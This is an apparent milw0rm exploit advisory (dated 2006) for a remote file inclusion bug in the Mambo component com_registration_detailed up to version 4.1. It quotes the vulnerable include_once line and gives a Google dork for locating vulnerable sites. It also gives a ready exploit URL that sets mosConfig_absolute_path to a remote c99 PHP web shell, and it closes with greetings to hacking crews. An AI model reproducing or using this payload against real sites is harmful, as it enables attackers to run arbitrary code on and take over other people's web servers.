31 lines
No EOL
1.2 KiB
Text
31 lines
No EOL
1.2 KiB
Text
########################################################################
|
|
# Mambo com_registration_detailed <= 4.1 Remote File Inclusion
|
|
#
|
|
# Download Source : http://mamboxchange.com/projects/regdetailed/
|
|
# Dork = allinur:com_extended_registration
|
|
#
|
|
# Found By: k1tk4t - k1tk4t[d0t]h4ck[4t]gmail[d0t]com
|
|
# Location: Indonesia
|
|
|
|
########################################################################
|
|
file ;
|
|
registration_detailed.inc.php
|
|
########################################################################
|
|
bugs ;
|
|
[at]line 25
|
|
|
|
include_once("$mosConfig_absolute_path/components/com_extended_registration/language/$_REGISTER_DETAILS_LANGUAGE.inc.php");
|
|
#########################################################################
|
|
example exploit ;
|
|
http://victim.xxx/ components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://phpshell/c99.txt?
|
|
########################################################################
|
|
Thanks;
|
|
str0ke
|
|
milw0rm
|
|
google
|
|
#e-c-h-o (all member echo community)
|
|
|
|
#nyubi (all member solpotcrew community)
|
|
--> ghoz, home_edition2001, iFX, and for all (friend's&enemy)
|
|
|
|
# milw0rm.com [2006-09-16] |